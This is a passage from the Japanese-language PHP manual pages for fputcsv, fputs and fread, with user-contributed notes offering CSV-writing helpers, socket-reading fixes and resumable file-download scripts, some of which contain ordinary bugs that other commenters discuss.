          $aRow[$iIdx] = str_replace($sEnclosure, $sEnclosure.$sEnclosure, $sCell);

       fwrite($hFile, join($aRow, $sSeparator)."\n");
    }
?>
bl at mindbench dot nl 26-Mar-2007 12:55
If you need to save the output to a variable (e.g. for use within a framework) you can write to a temporary memory-wrapper and retrieve it's contents:

<?php
// output up to 5MB is kept in memory, if it becomes bigger it will automatically be written to a temporary file
$csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+');

fputcsv($csv, array('blah','blah'));

rewind($csv);

// put it all in a variable
$output = stream_get_contents($csv);
?>
MagicalTux at ooKoo dot org 18-Jan-2007 06:08
If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it..

<?php
$out = fopen('php://output', 'w');
fputcsv($out, array('this','is some', 'csv "stuff", you know.'));
fclose($out);
?>
boonerunner at hotmail dot com 15-Sep-2005 07:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
    // Replaces a double quote with two double quotes
    $dataElement=str_replace("\"", "\"\"", $dataElement);

    // Adds a delimiter before each field (except the first)
    if($writeDelimiter) $string .= $delimiter;

    // Encloses each field with $enclosure and adds it to the string
    $string .= $enclosure . $dataElement . $enclosure;

    // Delimiters are used every time except the first.
    $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
drew at zitnay dot com 22-Nov-2004 09:42
[EDIT BY danbrown AT php DOT net: This is a revised function with a few bugfixes and improvements done by this author.  The original function example was written by arthur AT mclean DOT ws, and rewritten between by arthur AT korn DOT ch.]

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

Drew


fwrite のエイリアス

  • ≪ fputcsv
  • fread ≫
  • PHP Manual
  • ファイルシステム 関数
  • fwrite のエイリアス

fputs

(PHP 4, PHP 5, PHP 7, PHP 8)

fputs — fwrite() のエイリアス

説明

この関数は次の関数のエイリアスです。 fwrite().

User Contributed Notes

rembert at floating-point dot nl 21-Nov-2002 04:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
08-Oct-2000 12:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php


バイナリセーフなファイルの読み込み

  • ≪ fputs
  • fscanf ≫
  • PHP Manual
  • ファイルシステム 関数
  • バイナリセーフなファイルの読み込み

fread

(PHP 4, PHP 5, PHP 7, PHP 8)

fread — バイナリセーフなファイルの読み込み

説明

fread ( resource $stream , int $length ) : string|false

fread() は、stream が指すファイルポインタから最高 length バイト読み込みます。 以下のいずれかの条件を満たしたら、読み込みを終了します。

  • length バイトぶん読み込んだ
  • EOF (ファイルの終端) に達した
  • パケットが利用可能になるか、あるいは ソケットのタイムアウト が発生した (ネットワークストリームの場合)
  • バッファつきで読み込まれた、プレーンなファイルでないストリームの場合に、 一回の読み込みバイト数がチャンクサイズ (通常は 8192) に達した。 それまでにバッファされていたデータの内容によって、返されるデータのサイズはチャンクサイズより大きくなることがあります。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

length

最大 length バイトまで読み込む。

返り値

読み込んだ文字列を返します。失敗した場合に false を返します。

例

例1 シンプルな fread() の例

<?php
// ファイルの中身を読んで文字列に格納する
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

例2 バイナリの fread() の例

警告

バイナリとテキストファイルの形式が異なるシステム(すなわち Windows)では、fopen()の mode パラメータに 'b' を指定してファイルをオープンする必要があります。

<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

例3 リモートファイルの fread() の例

警告

通常のローカルファイル以外のもの、例えば リモートファイル や popen()、fsockopen() が返す ストリームを読み込んでいる場合には、 パケットが有効になった後に読み込みはストップします。 つまり以下の例のように分割されたデータを結合すべきであるということです。

<?php
// PHP 5 以降での例
$handle = fopen("http://www.example.com/", "rb");
$contents = stream_get_contents($handle);
fclose($handle);
?>
<?php
$handle = fopen("http://www.example.com/", "rb");
if (FALSE === $handle) {
    exit("Failed to open stream to URL");
}

$contents = '';

while (!feof($handle)) {
    $contents .= fread($handle, 8192);
}
fclose($handle);
?>

注意

注意:

ファイルの中身を文字列に格納したいだけならば、file_get_contents() を使うほうが上記の例よりも効率的です。

注意:

fread() は、 ファイルポインタが現在指している位置から読み込みを開始することに注意しましょう。 ポインタの現在位置を調べるには ftell() を、 そしてポインタの位置を巻き戻すには rewind() を使用します。

参考

  • fwrite() - バイナリセーフなファイル書き込み処理
  • fopen() - ファイルまたは URL をオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fscanf() - フォーマットに基づきファイルからの入力を処理する
  • file() - ファイル全体を読み込んで配列に格納する
  • fpassthru() - ファイルポインタ上に残っているすべてのデータを出力する
  • ftell() - ファイルの読み書き用ポインタの現在位置を返す
  • rewind() - ファイルポインタの位置を先頭に戻す
  • unpack() - バイナリ文字列からデータを切り出す

User Contributed Notes

john dot wellesz at teaser dot com 07-Jul-2014 08:52
Note that fread() will return '' (empty string) when a timeout occurs unlike socket_read() which returns false...
fread at imperium dot be 11-Feb-2014 05:13
My script was based on example 3b, but used up 100% CPU when a timeout occurred that wasn't "seen". This is very bad. So here's my code, hoping this will help people out there with the same problem. Obviously first use $rPage = fsockopen(...) and fwrite($rPage,...) and such, after which:

    $sPage    = ''; // the page goes in here
    $iTimeout    = 5; // set the timeout in seconds
    stream_set_timeout($rPage,$iTimeout);
    stream_set_blocking($rPage,0);
    $fTimeout    = microtime(true);
    do {
        if (($sRead = fread($rPage,8192))!==false and strlen($sRead)) {
            $sPage    .= $sRead; }
        else {
            usleep(10000); } // 0.01 second
        $aInfo    = stream_get_meta_data($rPage); }
    while (!feof($rPage) and !$aInfo['timed_out'] and microtime(true)-$fTimeout<$iTimeout);
    fclose($rPage);
    // now simply decompress and unchunk $sPage, if need be

Above code will make sure the timeout is used, because this isn't always detected properly. In addition, the usleep() will keep the CPU in check.
dharmilshah at gmail dot com 12-Dec-2013 11:59
For anyone still trying to write an effective file downloader function/script, the work has been done for you in all the major servers including Apache & nginx.

Using the X-Sendfile header, you can do the following:

if ($user->isLoggedIn())
{
    header("X-Sendfile: $path_to_somefile_private");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$somefile\"");
}

Apache will serve the file for you while NOT revealing your private file path! Pretty nice. This works on all browsers/download managers and saves a lot of resources.

Documentation:
Apache module: https://tn123.org/mod_xsendfile/
Nginx: http://wiki.nginx.org/XSendfile
Lighttpd: http://blog.lighttpd.net/articles/2006/07/02/x-sendfile/

Hopefully this will save you many hours of work.
box dot afzar at gmail dot com 31-Jan-2013 10:00
I write this script for download with resume suport
<?php
// If user click the download link
if(isset($_GET['filename'])){
        // The directory of downloadable files
        // This directory should be unaccessible from web
        $file_dir="/tmp/";

        // Replace the slash and backslash character with empty string
        // The slash and backslash character can be dangerous
        $file_name=str_replace("/", "", $_GET['filename']);
        $file_name=str_replace("\\", "", $file_name);

        // If the requested file is exist
        if(file_exists($file_dir.$file_name)){
                // Get the file size
                $file_size=filesize($file_dir.$file_name);
                // Open the file
                $fh=fopen($file_dir.$file_name, "r");

                // Download speed in KB/s
                $speed=5;

                // Initialize the range of bytes to be transferred
                $start=0;
                $end=$file_size-1;

                // Check HTTP_RANGE variable
                if(isset($_SERVER['HTTP_RANGE']) &&
                        preg_match('/^bytes=(\d+)-(\d*)/', $_SERVER['HTTP_RANGE'], $arr)){

                        // Starting byte
                        $start=$arr[1];
                        if($arr[2]){
                                // Ending byte
                                $end=$arr[2];
                        }
                }

                // Check if starting and ending byte is valid
                if($start>$end || $start>=$file_size){
                        header("HTTP/1.1 416 Requested Range Not Satisfiable");
                        header("Content-Length: 0");
                }
                else{
                        // For the first time download
                        if($start==0 && $end==$file_size){
                                // Send HTTP OK header
                                header("HTTP/1.1 200 OK");
                        }
                        else{
                                // For resume download
                                // Send Partial Content header
                                header("HTTP/1.1 206 Partial Content");
                                // Send Content-Range header
                                header("Content-Range: bytes ".$start."-".$end."/".$file_size);
                        }

                        // Bytes left
                        $left=$end-$start+1;

}
?>
<html>
<head>
        <title>Home</title>
</head>
<body>
        <a href="index.php?filename=file.pdf">Download</a>
</body>
</html>
andrej dot frelih at gmail dot com 27-Dec-2011 04:35
Another sample function that supports from/to range requests:

<?php
function download_file($file_name) {

    if (!file_exists($file_name)) { die("<b>404 File not found!</b>"); }

    $file_extension = strtolower(substr(strrchr($file_name,"."),1));
    $file_size = filesize($file_name);
    $md5_sum = md5_file($file_name);

   //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension) {
        case "exe": $ctype="application/octet-stream"; break;
        case "zip": $ctype="application/zip"; break;
        case "mp3": $ctype="audio/mpeg"; break;
        case "mpg":$ctype="video/mpeg"; break;
        case "avi": $ctype="video/x-msvideo"; break;

        //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
        case "php":
        case "htm":
        case "html":
        case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

        default: $ctype="application/force-download";
    }

    if (isset($_SERVER['HTTP_RANGE'])) {
        $partial_content = true;
        $range = explode("-", $_SERVER['HTTP_RANGE']);
        $offset = intval($range[0]);
        $length = intval($range[1]) - $offset;
    }
    else {
        $partial_content = false;
        $offset = 0;
        $length = $file_size;
    }

    //read the data from the file
    $handle = fopen($file_name, 'r');
    $buffer = '';
    fseek($handle, $offset);
    $buffer = fread($handle, $length);
    $md5_sum = md5($buffer);
    if ($partial_content) $data_size = intval($range[1]) - intval($range[0]);
    else $data_size = $file_size;
    fclose($handle);

    // send the headers and data
    header("Content-Length: " . $data_size);
    header("Content-md5: " . $md5_sum);
    header("Accept-Ranges: bytes");
    if ($partial_content) header('Content-Range: bytes ' . $offset . '-' . ($offset + $length) . '/' . $file_size);
    header("Connection: close");
    header("Content-type: " . $ctype);
    header('Content-Disposition: attachment; filename=' . $file_name);
    echo $buffer;
    flush();
}
?>
randym 20-Aug-2011 10:45
Concerning [problems with UTF-8 and] downloading Zip files I found that simply adding 3 lines of code before starting the fread to the buffer for delivery in all browsers solved the problem.

<?php
    ob_end_clean();
    ob_start();
    header( 'Content-Type:' );
?>

... see where placed in the function below:

<?php
function readfile_chunked( $filename, $retbytes = true ) {
    $chunksize = 1 * (1024 * 1024); // how many bytes per chunk
    $buffer = '';
    $cnt = 0;
    $handle = fopen( $filename, 'rb' );
    if ( $handle === false ) {
        return false;
    }
    ob_end_clean(); //added to fix ZIP file corruption
    ob_start(); //added to fix ZIP file corruption
    header( 'Content-Type:' ); //added to fix ZIP file corruption
    while ( !feof( $handle ) ) {
        $buffer = fread( $handle, $chunksize );
        //$buffer = str_replace("i≫?","",$buffer);
        echo $buffer;
        ob_flush();
        flush();
        if ( $retbytes ) {
            $cnt += strlen( $buffer );
        }
    }
    $status = fclose( $handle );
    if ( $retbytes && $status ) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;
}
?>
Anonymous 18-Mar-2011 05:59
If you serve a file download over PHP with fread and print/echo and experience corrupted binary files, chances are the server still uses magic quotes and escapes the null bytes in your file. Although from 5.3.0 magic quotes are no longer supported, you might still encounter this problem. Try to turn them off by placing this code before using fread:

<?php
@ini_set('magic_quotes_runtime', 0);
?>
NOopensourceSPAM at prodigy7 dot de 21-Sep-2010 06:45
Somehow all code samples for downloads, described here, doesn't work right for me.
When I download a big file readfile or fread in b mode, the final file hasn't the same md5 like the originial.

Some tests helps me, finding a solution:

<?php
            $fp = fopen($DownloadFile, 'rb');
            while ( $cline = fgets($fp) )
            {
                print $cline;
            }
            fclose($fp);
?>

Somehow, it's "binary safe" and deliver that file which are read. md5 original and download are the same.
david at identd dot dyndns dot org 05-May-2010 06:27
Note to IIS admins:

When using PHP via the FastCGI ISAPI extension, there is a script timeout of approximately 1hr that cannot be adjusted. When using PHP via CGI, there is a script timeout that is based upon the value of the CGITimeout configuration option. This value must be set extremely high if you plan to serve large files. An explanation of how to configure this option can be found here: http://www.iisadmin.co.uk/?p=7 If you do not modify this setting you can expect the above scripts to fail silently once it has hit the default value (30 minutes in my case).
edgarinvillegas at hotmail dot com 30-Aug-2009 12:16
I had a fread script that hanged forever (from php manual):

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {  //This looped forever
        $content .= fread($fp, 1024);
    }
    fclose($fp);
    echo $content;
}
?>

The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches...
I solved it using the stream_get_meta_data function and a break statement as the following shows:

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {
        $content .= fread($fp, 1024);
        $stream_meta_data = stream_get_meta_data($fp); //Added line
         if($stream_meta_data['unread_bytes'] <= 0) break; //Added line
    }
    fclose($fp);
    echo $content;
}
?>

Hope this will save a lot of headaches to someone.

(Greetings, from La Paz-Bolivia)
James Ranson 13-Jan-2009 04:20
Tom, the idea for the examples below is to ensure the user has proper credentials before serving the file. With that security in mind, the suggestion of a 302 redirection seems like a risky idea. Anyone with a modicum of networking experience can run a TCP trace and see the 302 Redirect response, as it is actually a response received by the client browser; the browser then makes a subsequent http request for the URL provided in the Location header.  When that 302 response is captured by wireshark, the 'secret' location is then exposed and can be shared with anyone who wishes to bypass the authorization routines in the php.

The only way to secure this would be for the 302 Redirection response to include some kind of unique, per-request, expiring authorization token, either on the end of the url or in a set-cookie, that is then checked by an authorization module implemented within the hosting webserver. Otherwise, you're relegated to the methods described below.
tom 29-Oct-2008 08:11
Various scripts suggested here attempt to deliver a file for download to a client. Handling http protocol features such as HTTP_RANGE is not trivial; neither is handling flow control with the server, memory and time limits when the files are large.

An alternative is to let the web server can handle http by redirecting to the file in question. It's not uncommon e.g. http://www.apple.com/downloads/macosx/ does this.

A PHP script can do any checks needed (security, authentication, validate the file) and any other tasks before calling header("Location $urltofile");

I tested this with apache. Interrupt/resume download works. The server's mime type configuration will determine client behavior. For apache, if defaults in mime.types are not suitable, configuration directives for mod_mime could go in a .htaccess file in the directory of the file to download. If really necessary, these could even by written by the PHP script before it redirects.
Anonymous 27-Oct-2008 04:50
This code is buggy
<?php
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
?>
When you read a file whose size is a multiple of the readsize (8192 here), then the loop is executed when there are no more data to read. Here, the result of fread() is not checked, and so the instruction
<?php
$contents .= fread($handle, 8192)
?>
is executed once with no data from fread(). In this very case, it is not important, but in some situation it could be harmful.

The good way to read a file block by block is :
<?php
while ( ($buf=fread( $handle, 8192 )) != '' ) {
    // Here, $buf is guaranted to contain data
    $contents .= $buf;
}
if($buf===FALSE) {
    echo "THERE WAS AN ERROR READING\n";
}
?>
Anonymous 18-Sep-2008 06:46
It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading.
Edward Jaramilla 28-Jun-2008 11:45
I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox.  I did some clean up and modified the code a little.

Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)

<?php

function dl_file_resumable($file, $is_resume=TRUE)
{
    //First, see if the file exists
    if (!is_file($file))
    {
        die("<b>404 File not found!</b>");
    }

    //Gather relevent info about file
    $size = filesize($file);
    $fileinfo = pathinfo($file);

    //workaround for IE filename bug with multiple periods / multiple dots in filename
    //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ?
                  preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) :
                  $fileinfo['basename'];

    $file_extension = strtolower($path_info['extension']);

    //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension)
    {
        case 'exe': $ctype='application/octet-stream'; break;
        case 'zip': $ctype='application/zip'; break;
        case 'mp3': $ctype='audio/mpeg'; break;
        case 'mpg': $ctype='video/mpeg'; break;
        case 'avi': $ctype='video/x-msvideo'; break;
        default:    $ctype='application/force-download';
    }

    //check if http_range is sent by browser (or download manager)
    if($is_resume && isset($_SERVER['HTTP_RANGE']))
    {
        list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);

        if ($size_unit == 'bytes')
        {
            //multiple ranges could be specified at the same time, but for simplicity only serve the first range
            //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
            list($range, $extra_ranges) = explode(',', $range_orig, 2);
        }
        else
        {
            $range = '';
        }
    }
    else
    {
        $range = '';
    }

    //figure out download piece from range (if set)
    list($seek_start, $seek_end) = explode('-', $range, 2);

    //set start and end based on range (if set), else set defaults
    //also check for invalid ranges.
    $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1));
    $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);

    //add headers if resumable
    if ($is_resume)
    {
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
        }

        header('Accept-Ranges: bytes');
        header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size);
    }

    //headers for IE Bugs (is this necessary?)
    //header("Cache-Control: cache, must-revalidate");
    //header("Pragma: public");

    header('Content-Type: ' . $ctype);
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: '.($seek_end - $seek_start + 1));

    //open the file
    $fp = fopen($file, 'rb');
    //seek to start of missing part
    fseek($fp, $seek_start);

    //start buffered download
    while(!feof($fp))
    {
        //reset time limit for big files
        set_time_limit(0);
        print(fread($fp, 1024*8));
        flush();
        ob_flush();
    }

    fclose($fp);
    exit;
}

?>
mail at 3v1n0 dot net 28-Apr-2008 03:32
This is an hack I've done to download remote files with HTTP resume support. This is useful if you want to write a download script that fetches files remotely and then sends them to the user, adding support to download managers (I tested it on wget). To do that you should also use a "remote_filesize" function that you can easily write/find.

<?php
function readfile_chunked_remote($filename, $seek = 0, $retbytes = true, $timeout = 3) {
    set_time_limit(0);
    $defaultchunksize = 1024*1024;
    $chunksize = $defaultchunksize;
    $buffer = '';
    $cnt = 0;
    $remotereadfile = false;

    if (preg_match('/[a-zA-Z]+:\/\//', $filename))
        $remotereadfile = true;

    $handle = @fopen($filename, 'rb');

    if ($handle === false) {
        return false;
    }

    stream_set_timeout($handle, $timeout);

    if ($seek != 0 && !$remotereadfile)
        fseek($handle, $seek);

    while (!feof($handle)) {

        if ($remotereadfile && $seek != 0 && $cnt+$chunksize > $seek)
            $chunksize = $seek-$cnt;
        else
            $chunksize = $defaultchunksize;

        $buffer = @fread($handle, $chunksize);

        if ($retbytes || ($remotereadfile && $seek != 0)) {
            $cnt += strlen($buffer);
        }

        if (!$remotereadfile || ($remotereadfile && $cnt > $seek))
            echo $buffer;

        ob_flush();
        flush();
    }

    $info = stream_get_meta_data($handle);

    $status = fclose($handle);

    if ($info['timed_out'])
        return false;

    if ($retbytes && $status) {
        return $cnt;
    }

    return $status;
}
?>
shocker at shockingsoft dot com 12-Apr-2008 06:22
If you read from a socket connection or any other stream that may delay when responsing but you want to set a timeout you can use stream_set_timeout():

<?php
$f = fsockopen("127.0.0.1", 123);
if ($f)
 {
  fwrite($f, "hello");
  stream_set_timeout($f, 5); //5 seconds read timeout
  if (!fread($f, 5)) echo "Error while reading";
    else echo "Read ok";
  fclose($f);
 }
?>
matt at matt-darby dot com 10-Oct-2007 10:32
I thought I had an issue where fread() would fail on files > 30M in size. I tried a file_get_contents() method with the same results. The issue was not reading the file, but echoing its data back to the browser.

Basically, you need to split up the filedata into manageable chunks before firing it off to the browser:

<?php

$total     = filesize($filepath);
$blocksize = (2 << 20); //2M chunks
$sent      = 0;
$handle    = fopen($filepath, "r");

// Push headers that tell what kind of file is coming down the pike
header('Content-type: '.$content_type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.$filesize * 1024);

// Now we need to loop through the file and echo out chunks of file data
// Dumping the whole file fails at > 30M!
while($sent < $total){
    echo fread($handle, $blocksize);
    $sent += $blocksize;
}

exit(0);

?>

Hope this helps someone!
kai at froghh dot de 10-May-2007 07:52
reading from a socket stream can be different to the
behaviour expected, since you have not set
stream_set_blocking to 1.
sample source:
<?php
$fp = fsockopen ($server, $port, $errno, $errstr, $socket_timeout);
$header = '';
do {
    $header.=fread($fp,1);
    $i++;
} while (!preg_match('/\\r\\n\\r\\n$/', $header) && $i < $maxheaderlenth);
preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/', $header,$matches);
$buffer = fread($this->_fp, $matches[1]);
?>

if i.e. the content length is 50000 and the responding server is to slow
(means 50000 are not completely sent when fread is called)
you'll only receive the number of bytes sent by the
responding server at the time fread is called.

fread will not wait for any data to complete the given size.
as described in user notes on stream_set_blocking there
seems to be a bug using stream_set_blocking.
a workaround - well, not the best way - is to read
the response split to 1 byte
instead of
<?php $buffer = fread($this->_fp, $matches[1]); ?>

you'd write
<?php
$buffer = '';
for($i = 0; $i < $matches[1]; $i++){
    $buffer .= fread($this->_fp, 1);
}
?>

it several tests this seems like it works.
aubfre at hotmail dot com 27-Mar-2007 09:20
Changing the value of $length may yield to different download speeds when serving a file from a script.

I was not able to max out my 10mbps connection when 4096 was used. I found out that using 16384 would use all the available bandwidth.

When outputing binary data with fread, do not assume that 4096 or 8192 is the optimal value for you. Do some benchmarks by downloading files through your script.
adamgamble at gmail dot com 20-Sep-2005 08:00
<?php
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

    $gaddress = "http://maps.google.com?q=" . urlencode($address);

    $handle = fopen($gaddress, "r");
    $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
?>
Richard Dale richard at premiumdata dot n dot e dot t 30-Jun-2005 09:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?php
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
    # workaround for IE filename bug with multiple periods / multiple dots in filename
    # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
    header("Content-Disposition: attachment; filename=$iefilename" );
} else {
    header("Content-Disposition: attachment; filename=$filename");
}
?>
mrhappy[at]dotgeek.org 07-Apr-2005 07:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
dvsoftware at gmail dot com 13-Mar-2005 12:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com 05-Mar-2005 02:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?php
  $dp = "http://www.example.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
    {
      echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
      exit();
    }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?php
  $dp = "http://www.example.com/filename.php";
  if (!$dp)
    {
      echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
      exit();
    }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk 16-Jan-2005 12:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
